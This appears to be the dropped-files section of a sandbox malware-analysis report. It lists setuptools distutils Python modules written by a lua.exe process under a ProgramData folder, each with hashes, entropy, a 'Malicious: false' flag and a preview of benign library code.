Preview:	"""distutils.dep_util..Utility functions for simple, timestamp-based dependency of files.and groups of files; also, function based entirely on such.timestamp dependency analysis."""..import os.from distutils.errors import DistutilsFileError...def newer (source, target):. """Return true if 'source' exists and is more recently modified than. 'target', or if 'source' exists and 'target' doesn't. Return false if. both exist and 'target' is the same age or younger than 'source'.. Raise DistutilsFileError if 'source' does not exist.. """. if not os.path.exists(source):. raise DistutilsFileError("file '%s' does not exist" %. os.path.abspath(source)). if not os.path.exists(target):. return 1.. from stat import ST_MTIME. mtime1 = os.stat(source)[ST_MTIME]. mtime2 = os.stat(target)[ST_MTIME].. return mtime1 > mtime2..# newer ()...def newer_pairwise (sources, targets):. """Walk two filename lists in parallel, testi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\dir_util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7778
Entropy (8bit):	4.426903067941429
Encrypted:	false
SSDEEP:	96:Zum2Z694nC0NzLoBJmIJDPSw9f6Vkvk1pN0/u7K6Rw5eQ8AycxRzuRoFnzYjam/f:MTn7LsTS6yVtZK6Rw5wQxJ/zcam/3v
MD5:	43032AA896D095B071B5C267AB190816
SHA1:	69936257AF5D2DF8D491E0E9B4B6EE39239AEC37
SHA-256:	5308413944DC57AE464F071EE123EE4D747C67CAB72D811C9ADB6A7066F46D8A
SHA-512:	32FD10B0BF039028E4769419603B726A18948D7730A0CB320878C28C45A4EA5AAA871A6ECCBD1D44C339F4412882F0E50BB07E20248E0D97300DD72C45991B3B
Malicious:	false
Preview:	"""distutils.dir_util..Utility functions for manipulating directories and directory trees."""..import os.import errno.from distutils.errors import DistutilsFileError, DistutilsInternalError.from distutils import log..# cache for by mkpath() -- in addition to cheapening redundant calls,.# eliminates redundant "creating /foo/bar/baz" messages in dry-run mode._path_created = {}..# I don't use os.makedirs because a) it's new to Python 1.5.2, and.# b) it blows up if the directory already exists (I want to silently.# succeed in that case)..def mkpath(name, mode=0o777, verbose=1, dry_run=0):. """Create a directory and any missing ancestor directories... If the directory already exists (or if 'name' is the empty string, which. means the current directory, which of course exists), then do nothing.. Raise DistutilsFileError if unable to create some directory along the way. (eg. some sub-path exists, but is a file rather than a directory).. If 'verbose' is true, print a one-line

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\dist.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	50421
Entropy (8bit):	4.341278659071264
Encrypted:	false
SSDEEP:	768:n9vJxZtPjZK+ibRifrKcdCATMeQ4jMR8lC2RftetAs3SbTjSLFpxgxOe5pNnnTuN:n9RxZRjZK78frKcx/dfpmz
MD5:	713F0A03CE548D3E19C35DF30C71FB4D
SHA1:	E657D449C39EDFB96D084C8C7FD33A998BE12469
SHA-256:	062B9FE9C6BCBA215F31271116C6142AD6F99DE30FB712B146D5E7E74FF57F75
SHA-512:	6EEB42FB65E85CD5D688AFD21499A7C23134BDCFF6A4B4E19513424E327621408C7979B15A1B2C95F8D5FA9EF272C124206C1ADBA4565E949B48053A8AD564CA
Malicious:	false
Preview:	"""distutils.dist..Provides the Distribution class, which represents the module distribution.being built/installed/distributed.."""..import sys.import os.import re.from email import message_from_file..try:. import warnings.except ImportError:. warnings = None..from distutils.errors import .from distutils.fancy_getopt import FancyGetopt, translate_longopt.from distutils.util import check_environ, strtobool, rfc822_escape.from distutils import log.from distutils.debug import DEBUG..# Regex to define acceptable Distutils command names. This is not quite.# the same as a Python NAME -- I don't allow leading underscores. The fact.# that they're very similar is no coincidence; the default naming scheme is.# to look for a Python module named after the command..command_re = re.compile(r'^[a-zA-Z]([a-zA-Z0-9_])$')...def _ensure_list(value, fieldname):. if isinstance(value, str):. # a string containing comma separated values is okay. It will. # be converted to a list

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\errors.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3577
Entropy (8bit):	4.5739788138504816
Encrypted:	false
SSDEEP:	48:s1/iD2yov4FSbqVfUVlDFmSJ012I4qCdrKtm7M+Fn1H0zgaPx9:cO2yI4FVNU5hC12IbcrKtehFEx9
MD5:	39513F95046CDA5D9891939DD7B19E6F
SHA1:	5D7DA9E6F97603574AAB1262CFE0AE5BCC293327
SHA-256:	62BEAD29919DCC1A0D8B9DEF06D8AAD1427FFD7D390A6C5275026A3966B0E926
SHA-512:	5645D1D9942D5920BACFFDF0368B533DE69A1888F8524D3A4B50375640FB3E8DDDC76DCBC41127E52DE2663583D83D04B44FF106F5528C39F60F2B7723D03FA8
Malicious:	false
Preview:	"""distutils.errors..Provides exceptions used by the Distutils modules. Note that Distutils.modules may raise standard exceptions; in particular, SystemExit is.usually raised for errors that are obviously the end-user's fault.(eg. bad command-line arguments)...This module is safe to use in "from ... import *" mode; it only exports.symbols whose names start with "Distutils" and end with "Error"."""..class DistutilsError (Exception):. """The root of all Distutils evil.""". pass..class DistutilsModuleError (DistutilsError):. """Unable to load an expected module, or to find an expected class. within some module (in particular, command modules and classes).""". pass..class DistutilsClassError (DistutilsError):. """Some command class (or possibly distribution class, if anyone. feels a need to subclass Distribution) is found not to be holding. up its end of the bargain, ie. implementing some part of the. "command "interface.""". pass..class DistutilsGetoptError

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\extension.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10515
Entropy (8bit):	4.234727367822918
Encrypted:	false
SSDEEP:	96:WyG2P2tXyqbUdJet90FM7RAxV999LK/O5rueB1fOsqZDzn2sPaj5Oo/ieCWSTa31:W6Pi30Js91E/LFnqD26DTaB5owy+biG
MD5:	6933B68FD6A3C7967624EA292FE3AC2D
SHA1:	5BFCC0C3866986329999398956FC88DBF62CB16B
SHA-256:	6D36F74340A87AF18A62FE5D5F596CFBE2E7F2D941D3E5043AC8BD070CE567EB
SHA-512:	80760546335280613B893AF8F8A30C3514DC4E3865DE1B2EFF85615EF48ECE1BF7E2EAA0B58C7D8F97ABFB0E3D21EE77DD89727A69580556A117B91DA81C7355
Malicious:	false
Preview:	"""distutils.extension..Provides the Extension class, used to describe C/C++ extension.modules in setup scripts."""..import os.import warnings..# This class is really only used by the "build_ext" command, so it might.# make sense to put it in distutils.command.build_ext. However, that.# module is already big enough, and I want to make this class a bit more.# complex to simplify some common cases ("foo" module in "foo.c") and do.# better error-checking ("foo.c" actually exists)..#.# Also, putting this in build_ext.py means every setup script would have to.# import that large-ish module (indirectly, through distutils.core) in.# order to do anything...class Extension:. """Just a collection of attributes that describes an extension. module and everything needed to build it (hopefully in a portable. way, but there are hooks that let you be as unportable as you need)... Instance attributes:. name : string. the full name of the extension, including any packages -- ie.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\fancy_getopt.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17784
Entropy (8bit):	4.24009972169642
Encrypted:	false
SSDEEP:	192:AFGMO6bZe607HzPzFOjDCmG3F49uSNe1l9bgoRhVy8bJnzSoNX0wOVZxfZzpC:ApRbIrbzgj2LL3bRRhVJbdxNkw6V+
MD5:	CE4BA924F4F8C9004ADA878E8484C40C
SHA1:	36C5D8DD08F0E5B86865110FC93116E1019AC118
SHA-256:	38FC69D82C478B5629FDDD43F09C56E147AAF5F0BBD6D7A040569A7E1E7C1865
SHA-512:	6AE53235B0C199912AB919002E620AB25C69A1376E19CEDF4F36875C0D09C96B914870F6C1196C60692680115E231E5B5D81256EBD2FCB64826DAACEF0E8BFDD
Malicious:	false
Preview:	"""distutils.fancy_getopt..Wrapper around the standard getopt module that provides the following.additional features:. * short and long options are tied together. * options have help strings, so fancy_getopt could potentially. create a complete usage summary. * options set attributes of a passed-in object."""..import sys, string, re.import getopt.from distutils.errors import ..# Much like command_re in distutils.core, this is close to but not quite.# the same as a Python NAME -- except, in the spirit of most GNU.# utilities, we use '-' in place of '_'. (The spirit of LISP lives on!).# The similarities to NAME are again not a coincidence....longopt_pat = r'[a-zA-Z](?:[a-zA-Z0-9-])'.longopt_re = re.compile(r'^%s$' % longopt_pat)..# For recognizing "negative alias" options, eg. "quiet=!verbose".neg_alias_re = re.compile("^(%s)=!(%s)$" % (longopt_pat, longopt_pat))..# This is used to translate long options to legitimate Python identifiers.# (for use as attributes of some object)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\file_util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8148
Entropy (8bit):	4.3789590455587835
Encrypted:	false
SSDEEP:	96:IwRUX/zJoBZkkiE7CSW3K20Lz8iZFAVyDU5HytzkRtjslPg01pY2I8:IyC7yBZk/E7Jb7zL8V5MtzKslPgQY2I8
MD5:	2C9484EED655020A27553FCF6453D5B3
SHA1:	D5EB38C55AC9BF9385790082DC1CDDCDEEB67F9F
SHA-256:	D2152A7C8B4DFF1D83562851D0C1DD03828231508E3BC568072685A7F6BA3038
SHA-512:	1D40B1840B6DE6D8DBF54CB431BDD0F5AC41BB508B67580F7B133F5F230B4FC598D27330871DA6842E1697B6B9947BD7A73A83ADEFA8E16D99637923CBB24E6B
Malicious:	false
Preview:	"""distutils.file_util..Utility functions for operating on single files.."""..import os.from distutils.errors import DistutilsFileError.from distutils import log..# for generating verbose output in 'copy_file()'._copy_action = { None: 'copying',. 'hard': 'hard linking',. 'sym': 'symbolically linking' }...def _copy_file_contents(src, dst, buffer_size=16*1024):. """Copy the file 'src' to 'dst'; both must be filenames. Any error. opening either file, reading from 'src', or writing to 'dst', raises. DistutilsFileError. Data is read/written in chunks of 'buffer_size'. bytes (default 16k). No attempt is made to handle anything apart from. regular files.. """. # Stolen from shutil module in the standard library, but with. # custom error-handling added.. fsrc = None. fdst = None. try:. try:. fsrc = open(src, 'rb'). except OSError as e:. raise DistutilsFileError("could not open '%s': %s" %

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\filelist.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12832
Entropy (8bit):	4.365661846963114
Encrypted:	false
SSDEEP:	192:dv4ckzPMFrQ6kcrg/LEQ9rAKXLtrGLqq/T3Jk1CQv2l5rPjh7i9Kgymr:eFzsdvrg/LEerBLULqqrJJR5DjdS
MD5:	1CA7EBC432F1CCE5E8FB81012028798B
SHA1:	3414DA87D51057725E94C73E0ECCD566C0F8507C
SHA-256:	F1B471873A7616C6A81D3ED3B8A0F842372E87F07D3B0FF14EDFE1B5926F3764
SHA-512:	EAE938146367D1448B5049101F71771F9DCCAA9BC044D16CD0383D74C48DB06782C7F2240D9AAD09A2DE7702CEFDA7F13720EE072FB7511D84096DA9F9308640
Malicious:	false
Preview:	"""distutils.filelist..Provides the FileList class, used for poking about the filesystem.and building lists of files.."""..import os, re.import fnmatch.import functools.from distutils.util import convert_path.from distutils.errors import DistutilsTemplateError, DistutilsInternalError.from distutils import log..class FileList:. """A list of files built by on exploring the filesystem and filtered by. applying various patterns to what we find there... Instance attributes:. dir. directory from which files will be taken -- only used if. 'allfiles' not supplied to constructor. files. list of filenames currently being built/filtered/manipulated. allfiles. complete list of files under consideration (ie. without any. filtering applied). """.. def __init__(self, warn=None, debug_print=None):. # ignore argument to FileList, but keep them for backwards. # compatibility. self.allfiles = None. self.files = [

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\log.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.521526473215749
Encrypted:	false
SSDEEP:	24:rOz4i35qojNTloyDNc8Ach+vDVLs3vcfvzIb7YdyOYmRIZSZlNeJaghlUnWKe:Cz4iIW5oim8d+D+fcnz07oyOFNpghcW7
MD5:	3728F96C2FCA304C30C04DFA883C3076
SHA1:	616D8F2A221C3BB746FD4F245DD24FD3589090BD
SHA-256:	8560667540B62BDDBB41C56FDD110C5B71CC3DC97171C3D09E0C4B4AE517425D
SHA-512:	0D92366F5A1D5335A4FE977B5586F393AB5A4E67055FD4BEB6637C1AEE6A41D4ECE672224F68FA4BDEF8B7FAABC970E7A8BEA15B5038DBE1234B078D17D14E81
Malicious:	false
Preview:	"""A simple log mechanism styled after PEP 282."""..# The class here is styled after PEP 282 so that it could later be.# replaced with a standard Python logging implementation...DEBUG = 1.INFO = 2.WARN = 3.ERROR = 4.FATAL = 5..import sys..class Log:.. def __init__(self, threshold=WARN):. self.threshold = threshold.. def _log(self, level, msg, args):. if level not in (DEBUG, INFO, WARN, ERROR, FATAL):. raise ValueError('%s wrong log level' % str(level)).. if level >= self.threshold:. if args:. msg = msg % args. if level in (WARN, ERROR, FATAL):. stream = sys.stderr. else:. stream = sys.stdout. try:. stream.write('%s\n' % msg). except UnicodeEncodeError:. # emulate backslashreplace error handler. encoding = stream.encoding. msg = msg.encode(encoding, "backslashreplace").decode(encoding).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\msvc9compiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30453
Entropy (8bit):	4.43466757083189
Encrypted:	false
SSDEEP:	384:5D3ZnHntmCEyqGAAN12tqEs6tIu0Jy4NuaRr8ucAjQ9lcaO2xoXIvSbMLOPihy:5D3ZnHnQCE/F9qETKcJw3j6w
MD5:	B385BCCC3EDA40683F52B485CDC7474B
SHA1:	04ED6E125707BBDEE2D8BEC80BE3E75819C61A2F
SHA-256:	BAFD1301FA16AF11013902FE676BB0B39838017A133DA85410CBAAE852E40986
SHA-512:	F5B1A15546933C0EBAE04A12A62444592F3FA20A8C3413865B02A92DB5BDEEE60BA039BEE534A2D3AF30381177FD2B878E14D9BFBD133939B54BF498C0A95B36
Malicious:	false
Preview:	"""distutils.msvc9compiler..Contains MSVCCompiler, an implementation of the abstract CCompiler class.for the Microsoft Visual Studio 2008...The module is compatible with VS 2005 and VS 2008. You can find legacy support.for older versions of VS in distutils.msvccompiler.."""..# Written by Perry Stoll.# hacked by Robin Becker and Thomas Heller to do a better job of.# finding DevStudio (through the registry).# ported to VS2005 and VS 2008 by Christian Heimes..import os.import subprocess.import sys.import re..from distutils.errors import DistutilsExecError, DistutilsPlatformError, \. CompileError, LibError, LinkError.from distutils.ccompiler import CCompiler, gen_lib_options.from distutils import log.from distutils.util import get_platform..import winreg..RegOpenKeyEx = winreg.OpenKeyEx.RegEnumKey = winreg.EnumKey.RegEnumValue = winreg.EnumValue.RegError = winreg.error..HKEYS = (winreg.HKEY_USERS,. winreg.HKEY_CURRENT_USER,. winreg.HKEY_LOCAL_M

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\msvccompiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	23540
Entropy (8bit):	4.371122234825875
Encrypted:	false
SSDEEP:	384:ZHiZiJWHk0rqGA/1NYI84Ju+fNuaRr8ucAjQFoLOPih+jHVBsl:ZHwiJWHk02F/4Q0+Aw3jQHVBsl
MD5:	C279F5A4CD8C7C1FC3AB787542719F23
SHA1:	AF7C82F1C33E5209A2107B84D6CEAB95F3DD9817
SHA-256:	658B27520202E2D653D969096D39135325520807369C533D0D5288B887CF054D
SHA-512:	13EE3E82C4AB9A46D44C5A370A3DD698F60876288700A52A346A251C9DFB9C4E933BE45728C9BE8EF05190F951B748CBBD498B80C04387C7924A1723A1E0676E
Malicious:	false
Preview:	"""distutils.msvccompiler..Contains MSVCCompiler, an implementation of the abstract CCompiler class.for the Microsoft Visual Studio.."""..# Written by Perry Stoll.# hacked by Robin Becker and Thomas Heller to do a better job of.# finding DevStudio (through the registry)..import sys, os.from distutils.errors import \. DistutilsExecError, DistutilsPlatformError, \. CompileError, LibError, LinkError.from distutils.ccompiler import \. CCompiler, gen_lib_options.from distutils import log.._can_read_reg = False.try:. import winreg.. _can_read_reg = True. hkey_mod = winreg.. RegOpenKeyEx = winreg.OpenKeyEx. RegEnumKey = winreg.EnumKey. RegEnumValue = winreg.EnumValue. RegError = winreg.error..except ImportError:. try:. import win32api. import win32con. _can_read_reg = True. hkey_mod = win32con.. RegOpenKeyEx = win32api.RegOpenKeyEx. RegEnumKey = win32api.RegEnumKey. RegEnumValue = win32api.RegEnumValue.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\py35compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	455
Entropy (8bit):	4.484072139258454
Encrypted:	false
SSDEEP:	12:kR/pPe6L9zAOwOfDSqxVMTU9Fmet690e6UfAEe6M1e67:kJpLtxVMTUB6SUfAoMJ7
MD5:	4DA81D39217472B61C1C6F60C3D71948
SHA1:	7AF444E482F548DF27E4CC127B31A9CCE3D55845
SHA-256:	FAC935BC122C3A01FE0286E32186CAFCE12374917FE78525FC3D44884F5733F7
SHA-512:	50B2AC2802B8792CF3CFBE0DFAA1DBC76088AE58EF8E156E3FDFA9FCEA9597340209FF6DAF83FB2EB465FDEEE895029403A05A619DCC073CFE2B14F4BA70BBA7
Malicious:	false
Preview:	import sys.import subprocess...def __optim_args_from_interpreter_flags():. """Return a list of command-line arguments reproducing the current. optimization settings in sys.flags.""". args = []. value = sys.flags.optimize. if value > 0:. args.append("-" + "O" * value). return args..._optim_args_from_interpreter_flags = getattr(. subprocess,. "_optim_args_from_interpreter_flags",. __optim_args_from_interpreter_flags,.).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\py38compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	212
Entropy (8bit):	4.238104684575377
Encrypted:	false
SSDEEP:	6:lOWMWFBtsWtAlVQhzVVQvwRSVVQLEMdxQjMpLXw2/yxAF8FBtsWv:Ng2AlihL6wRieHGIRw26tgo
MD5:	2A095F39D475FA9A1E953CA79F67333F
SHA1:	1E9589FB7E3512F4CABEC2EDB5E26F991DE9170F
SHA-256:	208EDD741C4E8A30BBB8D378CFFE3A1D8523C184C960C3622C9A064E8AE6666D
SHA-512:	180544D69C012A21855FA1DD65AD4F8B813D3F9800B4C858448F1674E653C4E704AD6789BC3C2E441B8FA8D9B8E6D12BD2E323A6B431454F1CAEE58A6F74D1C5
Malicious:	false
Preview:	def aix_platform(osname, version, release):. try:. import _aix_support. return _aix_support.aix_platform(). except ImportError:. pass. return "%s-%s.%s" % (osname, version, release).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\spawn.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4408
Entropy (8bit):	4.558267599669114
Encrypted:	false
SSDEEP:	96:kuIwY8HoGd2p5lH9LiAlL8/skM03YrYoTV0IWRvQZvu:kBwxouiDH9LiA5m3OJVkRvQZu
MD5:	4BD4351B7B67AEB0C3E2EF96CC027773
SHA1:	25FA45DE2AD1D48BF1D9E5C37A28223A9C8B7E72
SHA-256:	5C1994AB38715DF6B2FC9135F1191A6A51DFF64822ECDBD77813D6F417D3AA6C
SHA-512:	D2BACBF5B5CB86E64076B3B06C3DDFD1C7EDAE6AD90431A19F0F90607792465100DC2A65FCE5605BFA9C9C8C05C1AF3F3D45CEFDED3CA947124023B2324F1DD8
Malicious:	false
Preview:	"""distutils.spawn..Provides the 'spawn()' function, a front-end to various platform-.specific functions for launching another program in a sub-process..Also provides the 'find_executable()' to search the path for a given.executable name.."""..import sys.import os.import subprocess..from distutils.errors import DistutilsPlatformError, DistutilsExecError.from distutils.debug import DEBUG.from distutils import log...if sys.platform == 'darwin':. _cfg_target = None. _cfg_target_split = None...def spawn(cmd, search_path=1, verbose=0, dry_run=0, env=None):. """Run another program, specified as a command list 'cmd', in a new process... 'cmd' is just the argument list for the new process, ie.. cmd[0] is the program to run and cmd[1:] are the rest of its arguments.. There is no way to run a program with a name different from that of its. executable... If 'search_path' is true (the default), the system's executable. search path will be used to find the program; otherw

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\sysconfig.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21349
Entropy (8bit):	4.55017075397911
Encrypted:	false
SSDEEP:	384:zMf9ip1glA9n3iDXoUjr2ri21icLHfwC2C2BXSk4:si7gsiDXbh21icLHwN14
MD5:	EC96598FC94E9EE819A813DEC2552794
SHA1:	BB864C664C013FA71CD7A39D921F4B330E42FA17
SHA-256:	E73E79314EE05DE71E2FF1BD14AE9EC7ED8EBDD7885C945925A7EBB6D84971F5
SHA-512:	A5F012AFFAD6D36F0FD4AD7DE93BFD4BF649A1E644C5EFAD6CE96FE5980B7A40E6CD587A14B75481FFD8941FD78E64EB6403F1A5211FD988F1E06C977994780C
Malicious:	false
Preview:	"""Provide access to Python's configuration information. The specific.configuration variables available depend heavily on the platform and.configuration. The values may be retrieved using.get_config_var(name), and the list of variables is available via.get_config_vars().keys(). Additional convenience functions are also.available...Written by: Fred L. Drake, Jr..Email: <fdrake@acm.org>."""..import _imp.import os.import re.import sys..from .errors import DistutilsPlatformError..IS_PYPY = '__pypy__' in sys.builtin_module_names..# These are needed in a couple of spots, so just compute them once..PREFIX = os.path.normpath(sys.prefix).EXEC_PREFIX = os.path.normpath(sys.exec_prefix).BASE_PREFIX = os.path.normpath(sys.base_prefix).BASE_EXEC_PREFIX = os.path.normpath(sys.base_exec_prefix)..# Path to the base directory of the project. On Windows the binary may.# live in project/PCbuild/win32 or project/PCbuild/amd64..# set for cross builds.if "_PYTHON_PROJECT_BASE" in os.environ:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\text_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12483
Entropy (8bit):	4.076446119699693
Encrypted:	false
SSDEEP:	192:z+7ssvAhA/eDm0SQ5d7aEKMkNkwrWAZBUp2c2iif0FKbrXD:z+poA/UjSQTaEK76rAAsr90AbrXD
MD5:	775B63B1447DDEC2680B3DAB7AEF79E5
SHA1:	93DF1B99DBBB819B59B14B9A68FAA08F80306C31
SHA-256:	3ECB8025E59D289A0B495FFA37A229079FB43DAF382B32D4B9C24C1516B3C372
SHA-512:	15ED2D8B91A49BAFC13931AB1124DAFC1932577261BDE425B61991D60D9E813AE2A9EB608E4DE932CDABAD75EE270C676FB3295D7F954BEBECC8DF383256CE8C
Malicious:	false
Preview:	"""text_file..provides the TextFile class, which gives an interface to text files.that (optionally) takes care of stripping comments, ignoring blank.lines, and joining lines with backslashes."""..import sys, io...class TextFile:. """Provides a file-like object that takes care of all the things you. commonly want to do when processing a text file that has some. line-by-line syntax: strip comments (as long as "#" is your. comment character), skip blank lines, join adjacent lines by. escaping the newline (ie. backslash at end of line), strip. leading and/or trailing whitespace. All of these are optional. and independently controllable... Provides a 'warn()' method so you can generate warning messages that. report physical line number, even if the logical line in question. spans multiple physical lines. Also provides 'unreadline()' for. implementing line-at-a-time lookahead... Constructor is called as:.. TextF

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\unixccompiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14696
Entropy (8bit):	4.387763823586644
Encrypted:	false
SSDEEP:	192:zjf0GxMkxqDbeH5w80VWSbEEAwIg20/NTRo4NMudi1Ts:zjf0GqkxqDb6O80VWME7Y20VZNfiVs
MD5:	7307FDE58B5FDD1649D445DB7E487B89
SHA1:	ABB58584E5EDE26CC59892F530D6E3FAF7E85409
SHA-256:	13AE5E7428582E81D8F308B83B116EFF02ADDE125EDC6C9217ABF9D46FD9CCBD
SHA-512:	CE644DD93AEA091781534C6CACA8E2FDD471E19BAAA35C8319FB5A3836970B79082BC1945FD218E71CE807E226C7EDDD56A0D3BCCC46115663A7F09F957EE93E
Malicious:	false
Preview:	"""distutils.unixccompiler..Contains the UnixCCompiler class, a subclass of CCompiler that handles.the "typical" Unix-style command-line C compiler:. * macros defined with -Dname[=value]. * macros undefined with -Uname. * include search directories specified with -Idir. * libraries specified with -lllib. * library search directories specified with -Ldir. * compile handled by 'cc' (or similar) executable with -c option:. compiles .c to .o. * link static library handled by 'ar' command (possibly with 'ranlib'). * link shared library handled by 'cc -shared'."""..import os, sys, re..from distutils import sysconfig.from distutils.dep_util import newer.from distutils.ccompiler import \. CCompiler, gen_preprocess_options, gen_lib_options.from distutils.errors import \. DistutilsExecError, CompileError, LibError, LinkError.from distutils import log..if sys.platform == 'darwin':. import _osx_support..# XXX Things not currently handled:.# * optimization/debug/warning flag

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20985
Entropy (8bit):	4.555097442203166
Encrypted:	false
SSDEEP:	384:yI5sE6dgsYH+MrHnEU0lK1bQlvseoBsWS63TP516aaTz6Z:yrE6dgsYpGKpIseoK03TP5gaGz6Z
MD5:	840663D1CDAF75FA57DEF16EC4741FC2
SHA1:	9BCC862FC99B84396DF27EE644E4F48D88F59495
SHA-256:	5A5CFD9E80A1263CDE9BD99F80EBBE29A37CB2807868D8517DEE151A5B5777CC
SHA-512:	5D68ECDD2EAE0ED03E789F2EBDBEA5CD97920422B93F5749BF2BD78E2C9A07A77788FD5F00C64655DC51A8B85ED54692F6FEF081A9A592EE63AEB28678BC1955
Malicious:	false
Preview:	"""distutils.util..Miscellaneous utility functions -- anything that doesn't fit into.one of the other *util.py modules.."""..import os.import re.import importlib.util.import string.import sys.from distutils.errors import DistutilsPlatformError.from distutils.dep_util import newer.from distutils.spawn import spawn.from distutils import log.from distutils.errors import DistutilsByteCompileError.from .py35compat import _optim_args_from_interpreter_flags...def get_host_platform():. """Return a string that identifies the current platform. This is used mainly to. distinguish platform-specific build directories and platform-specific built. distributions. Typically includes the OS name and version and the. architecture (as supplied by 'os.uname()'), although the exact information. included depends on the OS; eg. on Linux, the kernel version isn't. particularly important... Examples of returned values:. linux-i586. linux-alpha (?). solaris-2.6-sun4u..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12514
Entropy (8bit):	4.44397524163708
Encrypted:	false
SSDEEP:	192:sJU2Oq4DIzmpJBZRTkXWXx3YiXGFUM1xDERenuaL+dy2yAJMJie+mWYJV:sJNEIz+JBZRvGUAxDERACcAJMJie+mWi
MD5:	860BD393FF00BA6FEC6FBC8D71DF8E28
SHA1:	A3FE4AA6A6B59425863A229D78D8D934D3D5882C
SHA-256:	F0DA203FA34F3D0A69DC450C65C4FD73310789AF9E86A3E8F2CA68FDEEC08145
SHA-512:	FD8AC5378BFC2D7B566531F236AC81C3F052882A2548448C893A4866C7A637851EF7C6D439BD820882E228BB19603CD58B2232E410CEDC701801049C34BDD752
Malicious:	false
Preview:	#.# distutils/version.py.#.# Implements multiple version numbering conventions for the.# Python Module Distribution Utilities..#.# $Id$.#.."""Provides classes to represent module version numbers (one class for.each style of version numbering). There are currently two such classes.implemented: StrictVersion and LooseVersion...Every version number class implements the following interface:. * the 'parse' method takes a string and parses it to some internal. representation; if the string is an invalid version number,. 'parse' raises a ValueError exception. * the class constructor takes an optional string argument which,. if supplied, is passed to 'parse'. * __str__ reconstructs the string that was passed to 'parse' (or. an equivalent string -- ie. one that will generate an equivalent. version number instance). * __repr__ generates Python code to recreate the version number instance. * _cmp compares the current instance with either another instance. of the same class

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\versionpredicate.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5133
Entropy (8bit):	4.713441799183137
Encrypted:	false
SSDEEP:	96:xuu3rSTC21LgA2XIjygw/Bk38/GKzftyYdhchZCLqPQt:xuMee21CEFwp//RUYdyPQt
MD5:	DC6B9C874ED70FC65490A4AF9E632F5F
SHA1:	0CACD85ABE9EA4EB37F1057E040A1BF53B2AEB16
SHA-256:	671A4403E4D0BFCF2651673A85EB543B8A92A80DAC6BB8A98D9DD010AE5EBC39
SHA-512:	FFF9E0A8F65E053E4D91ACC2857BC399CDAB3F69CD40F994A39DA3FEF9519DFE8DA100F9AFDD48AA71F1D3624C9565F809A3E5EE7AD9CCF8A3CC1A76C1657AFF
Malicious:	false
